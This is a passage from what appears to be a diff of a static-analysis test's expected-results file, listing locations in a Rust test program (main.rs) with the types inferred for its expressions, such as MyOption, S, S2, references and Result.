main.rs:941:5:945:5 | MyOption | +| main.rs:983:13:983:18 | mut x2 | | main.rs:941:5:945:5 | MyOption | +| main.rs:983:13:983:18 | mut x2 | T | main.rs:976:5:977:13 | S | +| main.rs:983:22:983:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:983:22:983:36 | ...::new(...) | T | main.rs:976:5:977:13 | S | +| main.rs:984:9:984:10 | x2 | | main.rs:941:5:945:5 | MyOption | +| main.rs:984:9:984:10 | x2 | T | main.rs:976:5:977:13 | S | +| main.rs:984:16:984:16 | S | | main.rs:976:5:977:13 | S | +| main.rs:985:26:985:27 | x2 | | main.rs:941:5:945:5 | MyOption | +| main.rs:985:26:985:27 | x2 | T | main.rs:976:5:977:13 | S | +| main.rs:987:13:987:18 | mut x3 | | main.rs:941:5:945:5 | MyOption | +| main.rs:987:22:987:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:988:9:988:10 | x3 | | main.rs:941:5:945:5 | MyOption | +| main.rs:988:21:988:21 | S | | main.rs:976:5:977:13 | S | +| main.rs:989:26:989:27 | x3 | | main.rs:941:5:945:5 | MyOption | +| main.rs:991:13:991:18 | mut x4 | | main.rs:941:5:945:5 | MyOption | +| main.rs:991:13:991:18 | mut x4 | T | main.rs:976:5:977:13 | S | +| main.rs:991:22:991:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:991:22:991:36 | ...::new(...) | T | main.rs:976:5:977:13 | S | +| main.rs:992:23:992:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:992:23:992:29 | &mut x4 | &T | main.rs:941:5:945:5 | MyOption | +| main.rs:992:23:992:29 | &mut x4 | &T.T | main.rs:976:5:977:13 | S | +| main.rs:992:28:992:29 | x4 | | main.rs:941:5:945:5 | MyOption | +| main.rs:992:28:992:29 | x4 | T | main.rs:976:5:977:13 | S | +| main.rs:992:32:992:32 | S | | main.rs:976:5:977:13 | S | +| main.rs:993:26:993:27 | x4 | | main.rs:941:5:945:5 | MyOption | +| main.rs:993:26:993:27 | x4 | T | main.rs:976:5:977:13 | S | +| main.rs:995:13:995:14 | x5 | | main.rs:941:5:945:5 | MyOption | +| main.rs:995:13:995:14 | x5 | T | main.rs:941:5:945:5 | MyOption | +| main.rs:995:13:995:14 | x5 | T.T | main.rs:976:5:977:13 | S | +| main.rs:995:18:995:58 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:995:18:995:58 | ...::MySome(...) | T | main.rs:941:5:945:5 | MyOption | +| main.rs:995:18:995:58 | ...::MySome(...) | T.T | main.rs:976:5:977:13 | S | +| main.rs:995:35:995:57 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:995:35:995:57 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | +| main.rs:996:26:996:27 | x5 | | main.rs:941:5:945:5 | MyOption | +| main.rs:996:26:996:27 | x5 | T | main.rs:941:5:945:5 | MyOption | +| main.rs:996:26:996:27 | x5 | T.T | main.rs:976:5:977:13 | S | +| main.rs:996:26:996:37 | x5.flatten() | | main.rs:941:5:945:5 | MyOption | +| main.rs:996:26:996:37 | x5.flatten() | T | main.rs:976:5:977:13 | S | +| main.rs:998:13:998:14 | x6 | | main.rs:941:5:945:5 | MyOption | +| main.rs:998:13:998:14 | x6 | T | main.rs:941:5:945:5 | MyOption | +| main.rs:998:13:998:14 | x6 | T.T | main.rs:976:5:977:13 | S | +| main.rs:998:18:998:58 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:998:18:998:58 | ...::MySome(...) | T | main.rs:941:5:945:5 | MyOption | +| main.rs:998:18:998:58 | ...::MySome(...) | T.T | main.rs:976:5:977:13 | S | +| main.rs:998:35:998:57 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:998:35:998:57 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | +| main.rs:999:26:999:61 | ...::flatten(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:999:26:999:61 | ...::flatten(...) | T | main.rs:976:5:977:13 | S | +| main.rs:999:59:999:60 | x6 | | main.rs:941:5:945:5 | MyOption | +| main.rs:999:59:999:60 | x6 | T | main.rs:941:5:945:5 | MyOption | +| main.rs:999:59:999:60 | x6 | T.T | main.rs:976:5:977:13 | S | +| main.rs:1001:13:1001:19 | from_if | | main.rs:941:5:945:5 | MyOption | +| main.rs:1001:13:1001:19 | from_if | T | main.rs:976:5:977:13 | S | +| main.rs:1001:23:1005:9 | if ... {...} else {...} | | main.rs:941:5:945:5 | MyOption | +| main.rs:1001:23:1005:9 | if ... {...} else {...} | T | main.rs:976:5:977:13 | S | +| main.rs:1001:36:1003:9 | { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:1001:36:1003:9 | { ... } | T | main.rs:976:5:977:13 | S | +| main.rs:1002:13:1002:30 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1002:13:1002:30 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1003:16:1005:9 | { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:1003:16:1005:9 | { ... } | T | main.rs:976:5:977:13 | S | +| main.rs:1004:13:1004:31 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1004:13:1004:31 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1004:30:1004:30 | S | | main.rs:976:5:977:13 | S | +| main.rs:1006:26:1006:32 | from_if | | main.rs:941:5:945:5 | MyOption | +| main.rs:1006:26:1006:32 | from_if | T | main.rs:976:5:977:13 | S | +| main.rs:1008:13:1008:22 | from_match | | main.rs:941:5:945:5 | MyOption | +| main.rs:1008:13:1008:22 | from_match | T | main.rs:976:5:977:13 | S | +| main.rs:1008:26:1011:9 | match ... { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:1008:26:1011:9 | match ... { ... } | T | main.rs:976:5:977:13 | S | +| main.rs:1009:21:1009:38 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1009:21:1009:38 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1010:22:1010:40 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1010:22:1010:40 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1010:39:1010:39 | S | | main.rs:976:5:977:13 | S | +| main.rs:1012:26:1012:35 | from_match | | main.rs:941:5:945:5 | MyOption | +| main.rs:1012:26:1012:35 | from_match | T | main.rs:976:5:977:13 | S | +| main.rs:1014:13:1014:21 | from_loop | | main.rs:941:5:945:5 | MyOption | +| main.rs:1014:13:1014:21 | from_loop | T | main.rs:976:5:977:13 | S | +| main.rs:1014:25:1019:9 | loop { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:1014:25:1019:9 | loop { ... } | T | main.rs:976:5:977:13 | S | +| main.rs:1016:23:1016:40 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1016:23:1016:40 | ...::MyNone(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1018:19:1018:37 | ...::MySome(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:1018:19:1018:37 | ...::MySome(...) | T | main.rs:976:5:977:13 | S | +| main.rs:1018:36:1018:36 | S | | main.rs:976:5:977:13 | S | +| main.rs:1020:26:1020:34 | from_loop | | main.rs:941:5:945:5 | MyOption | +| main.rs:1020:26:1020:34 | from_loop | T | main.rs:976:5:977:13 | S | +| main.rs:1033:15:1033:18 | SelfParam | | main.rs:1026:5:1027:19 | S | +| main.rs:1033:15:1033:18 | SelfParam | T | main.rs:1032:10:1032:10 | T | +| main.rs:1033:26:1035:9 | { ... } | | main.rs:1032:10:1032:10 | T | +| main.rs:1034:13:1034:16 | self | | main.rs:1026:5:1027:19 | S | +| main.rs:1034:13:1034:16 | self | T | main.rs:1032:10:1032:10 | T | +| main.rs:1034:13:1034:18 | self.0 | | main.rs:1032:10:1032:10 | T | +| main.rs:1037:15:1037:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1037:15:1037:19 | SelfParam | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1037:15:1037:19 | SelfParam | &T.T | main.rs:1032:10:1032:10 | T | +| main.rs:1037:28:1039:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1037:28:1039:9 | { ... } | &T | main.rs:1032:10:1032:10 | T | +| main.rs:1038:13:1038:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1038:13:1038:19 | &... | &T | main.rs:1032:10:1032:10 | T | +| main.rs:1038:14:1038:17 | self | | file://:0:0:0:0 | & | +| main.rs:1038:14:1038:17 | self | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1038:14:1038:17 | self | &T.T | main.rs:1032:10:1032:10 | T | +| main.rs:1038:14:1038:19 | self.0 | | main.rs:1032:10:1032:10 | T | +| main.rs:1041:15:1041:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1041:15:1041:25 | SelfParam | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1041:15:1041:25 | SelfParam | &T.T | main.rs:1032:10:1032:10 | T | +| main.rs:1041:34:1043:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1041:34:1043:9 | { ... } | &T | main.rs:1032:10:1032:10 | T | +| main.rs:1042:13:1042:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1042:13:1042:19 | &... | &T | main.rs:1032:10:1032:10 | T | +| main.rs:1042:14:1042:17 | self | | file://:0:0:0:0 | & | +| main.rs:1042:14:1042:17 | self | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1042:14:1042:17 | self | &T.T | main.rs:1032:10:1032:10 | T | +| main.rs:1042:14:1042:19 | self.0 | | main.rs:1032:10:1032:10 | T | +| main.rs:1047:13:1047:14 | x1 | | main.rs:1026:5:1027:19 | S | +| main.rs:1047:13:1047:14 | x1 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1047:18:1047:22 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1047:18:1047:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1047:20:1047:21 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1048:26:1048:27 | x1 | | main.rs:1026:5:1027:19 | S | +| main.rs:1048:26:1048:27 | x1 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1048:26:1048:32 | x1.m1() | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1050:13:1050:14 | x2 | | main.rs:1026:5:1027:19 | S | +| main.rs:1050:13:1050:14 | x2 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1050:18:1050:22 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1050:18:1050:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1050:20:1050:21 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1052:26:1052:27 | x2 | | main.rs:1026:5:1027:19 | S | +| main.rs:1052:26:1052:27 | x2 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1052:26:1052:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:1052:26:1052:32 | x2.m2() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1053:26:1053:27 | x2 | | main.rs:1026:5:1027:19 | S | +| main.rs:1053:26:1053:27 | x2 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1053:26:1053:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:1053:26:1053:32 | x2.m3() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1055:13:1055:14 | x3 | | main.rs:1026:5:1027:19 | S | +| main.rs:1055:13:1055:14 | x3 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1055:18:1055:22 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1055:18:1055:22 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1055:20:1055:21 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1057:26:1057:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1057:26:1057:41 | ...::m2(...) | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1057:38:1057:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1057:38:1057:40 | &x3 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1057:38:1057:40 | &x3 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1057:39:1057:40 | x3 | | main.rs:1026:5:1027:19 | S | +| main.rs:1057:39:1057:40 | x3 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1058:26:1058:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1058:26:1058:41 | ...::m3(...) | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1058:38:1058:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1058:38:1058:40 | &x3 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1058:38:1058:40 | &x3 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1058:39:1058:40 | x3 | | main.rs:1026:5:1027:19 | S | +| main.rs:1058:39:1058:40 | x3 | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1060:13:1060:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1060:13:1060:14 | x4 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1060:13:1060:14 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1060:18:1060:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1060:18:1060:23 | &... | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1060:18:1060:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1060:19:1060:23 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1060:19:1060:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1060:21:1060:22 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1062:26:1062:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1062:26:1062:27 | x4 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1062:26:1062:27 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1062:26:1062:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1062:26:1062:32 | x4.m2() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1063:26:1063:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1063:26:1063:27 | x4 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1063:26:1063:27 | x4 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1063:26:1063:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1063:26:1063:32 | x4.m3() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1065:13:1065:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1065:13:1065:14 | x5 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1065:13:1065:14 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1065:18:1065:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1065:18:1065:23 | &... | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1065:18:1065:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1065:19:1065:23 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1065:19:1065:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1065:21:1065:22 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1067:26:1067:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1067:26:1067:27 | x5 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1067:26:1067:27 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1067:26:1067:32 | x5.m1() | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1068:26:1068:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1068:26:1068:27 | x5 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1068:26:1068:27 | x5 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1068:26:1068:29 | x5.0 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1070:13:1070:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:1070:13:1070:14 | x6 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1070:13:1070:14 | x6 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1070:18:1070:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1070:18:1070:23 | &... | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1070:18:1070:23 | &... | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1070:19:1070:23 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1070:19:1070:23 | S(...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1070:21:1070:22 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1072:26:1072:30 | (...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1072:26:1072:30 | (...) | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1072:26:1072:35 | ... .m1() | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1072:27:1072:29 | * ... | | main.rs:1026:5:1027:19 | S | +| main.rs:1072:27:1072:29 | * ... | T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1072:28:1072:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1072:28:1072:29 | x6 | &T | main.rs:1026:5:1027:19 | S | +| main.rs:1072:28:1072:29 | x6 | &T.T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1074:13:1074:14 | x7 | | main.rs:1026:5:1027:19 | S | +| main.rs:1074:13:1074:14 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1074:13:1074:14 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1074:18:1074:23 | S(...) | | main.rs:1026:5:1027:19 | S | +| main.rs:1074:18:1074:23 | S(...) | T | file://:0:0:0:0 | & | +| main.rs:1074:18:1074:23 | S(...) | T.&T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1074:20:1074:22 | &S2 | | file://:0:0:0:0 | & | +| main.rs:1074:20:1074:22 | &S2 | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1074:21:1074:22 | S2 | | main.rs:1029:5:1030:14 | S2 | +| main.rs:1077:13:1077:13 | t | | file://:0:0:0:0 | & | +| main.rs:1077:13:1077:13 | t | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1077:17:1077:18 | x7 | | main.rs:1026:5:1027:19 | S | +| main.rs:1077:17:1077:18 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1077:17:1077:18 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1077:17:1077:23 | x7.m1() | | file://:0:0:0:0 | & | +| main.rs:1077:17:1077:23 | x7.m1() | &T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1078:26:1078:27 | x7 | | main.rs:1026:5:1027:19 | S | +| main.rs:1078:26:1078:27 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1078:26:1078:27 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | +| main.rs:1085:16:1085:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1085:16:1085:20 | SelfParam | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | +| main.rs:1088:16:1088:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1088:16:1088:20 | SelfParam | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | +| main.rs:1088:32:1090:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1088:32:1090:9 | { ... } | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | +| main.rs:1089:13:1089:16 | self | | file://:0:0:0:0 | & | +| main.rs:1089:13:1089:16 | self | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | +| main.rs:1089:13:1089:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1089:13:1089:22 | self.foo() | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | +| main.rs:1097:16:1097:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1097:16:1097:20 | SelfParam | &T | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1097:36:1099:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1097:36:1099:9 | { ... } | &T | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1098:13:1098:16 | self | | file://:0:0:0:0 | & | +| main.rs:1098:13:1098:16 | self | &T | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1103:13:1103:13 | x | | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1103:17:1103:24 | MyStruct | | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1104:9:1104:9 | x | | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1104:9:1104:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1104:9:1104:15 | x.bar() | &T | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1114:16:1114:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1114:16:1114:20 | SelfParam | &T | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1114:16:1114:20 | SelfParam | &T.T | main.rs:1113:10:1113:10 | T | +| main.rs:1114:32:1116:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1114:32:1116:9 | { ... } | &T | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1114:32:1116:9 | { ... } | &T.T | main.rs:1113:10:1113:10 | T | +| main.rs:1115:13:1115:16 | self | | file://:0:0:0:0 | & | +| main.rs:1115:13:1115:16 | self | &T | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1115:13:1115:16 | self | &T.T | main.rs:1113:10:1113:10 | T | +| main.rs:1120:13:1120:13 | x | | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1120:13:1120:13 | x | T | main.rs:1109:5:1109:13 | S | +| main.rs:1120:17:1120:27 | MyStruct(...) | | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1120:17:1120:27 | MyStruct(...) | T | main.rs:1109:5:1109:13 | S | +| main.rs:1120:26:1120:26 | S | | main.rs:1109:5:1109:13 | S | +| main.rs:1121:9:1121:9 | x | | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1121:9:1121:9 | x | T | main.rs:1109:5:1109:13 | S | +| main.rs:1121:9:1121:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1121:9:1121:15 | x.foo() | &T | main.rs:1111:5:1111:26 | MyStruct | +| main.rs:1121:9:1121:15 | x.foo() | &T.T | main.rs:1109:5:1109:13 | S | +| main.rs:1129:15:1129:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1129:15:1129:19 | SelfParam | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1129:31:1131:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1129:31:1131:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1130:13:1130:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1130:13:1130:19 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1130:14:1130:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1130:14:1130:19 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1130:15:1130:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1130:15:1130:19 | &self | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1130:16:1130:19 | self | | file://:0:0:0:0 | & | +| main.rs:1130:16:1130:19 | self | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1133:15:1133:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1133:15:1133:25 | SelfParam | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1133:37:1135:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1133:37:1135:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1134:13:1134:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1134:13:1134:19 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1134:14:1134:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1134:14:1134:19 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1134:15:1134:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1134:15:1134:19 | &self | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1134:16:1134:19 | self | | file://:0:0:0:0 | & | +| main.rs:1134:16:1134:19 | self | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1137:15:1137:15 | x | | file://:0:0:0:0 | & | +| main.rs:1137:15:1137:15 | x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1137:34:1139:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1137:34:1139:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1138:13:1138:13 | x | | file://:0:0:0:0 | & | +| main.rs:1138:13:1138:13 | x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1141:15:1141:15 | x | | file://:0:0:0:0 | & | +| main.rs:1141:15:1141:15 | x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1141:34:1143:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1141:34:1143:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1142:13:1142:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1142:13:1142:16 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1142:14:1142:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1142:14:1142:16 | &... | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1142:15:1142:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1142:15:1142:16 | &x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1142:16:1142:16 | x | | file://:0:0:0:0 | & | +| main.rs:1142:16:1142:16 | x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1147:13:1147:13 | x | | main.rs:1126:5:1126:13 | S | +| main.rs:1147:17:1147:20 | S {...} | | main.rs:1126:5:1126:13 | S | +| main.rs:1148:9:1148:9 | x | | main.rs:1126:5:1126:13 | S | +| main.rs:1148:9:1148:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1148:9:1148:14 | x.f1() | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1149:9:1149:9 | x | | main.rs:1126:5:1126:13 | S | +| main.rs:1149:9:1149:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1149:9:1149:14 | x.f2() | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1150:9:1150:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1150:9:1150:17 | ...::f3(...) | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1150:15:1150:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1150:15:1150:16 | &x | &T | main.rs:1126:5:1126:13 | S | +| main.rs:1150:16:1150:16 | x | | main.rs:1126:5:1126:13 | S | +| main.rs:1164:43:1167:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1164:43:1167:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1164:43:1167:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1165:13:1165:13 | x | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1165:17:1165:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1165:17:1165:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1165:17:1165:31 | TryExpr | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1165:28:1165:29 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1166:9:1166:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1166:9:1166:22 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1166:9:1166:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1166:20:1166:21 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1170:46:1174:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1170:46:1174:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1170:46:1174:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1171:13:1171:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1171:13:1171:13 | x | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1171:17:1171:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1171:17:1171:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1171:28:1171:29 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1172:13:1172:13 | y | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1172:17:1172:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1172:17:1172:17 | x | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1172:17:1172:18 | TryExpr | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1173:9:1173:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1173:9:1173:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1173:9:1173:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1173:20:1173:21 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1177:40:1182:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1177:40:1182:5 | { 